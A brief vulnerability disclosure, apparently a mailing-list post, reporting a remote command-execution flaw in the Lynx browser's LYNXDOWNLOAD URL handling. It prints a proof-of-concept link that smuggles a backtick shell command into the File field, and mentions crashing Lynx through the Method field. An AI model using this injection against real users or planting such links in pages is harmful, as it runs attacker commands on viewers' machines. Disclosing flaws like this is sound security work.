While poking around lynx protocol handling routines, I found this very
big, ugly remote hole:

<a href="LYNXDOWNLOAD://Method=-1/File=`touch%20UGLY_BUG`/SugFile=test">
CLICK HERE
</a>

It allows remote execution of any code on viewer's machine. Also, by
setting 'Method' field to 0 or more, you may crash lynx, but it isn't so
exciting as above URL. Also, it's possible to parse /dev/zero as 'File',
also not funny.

Greetings,
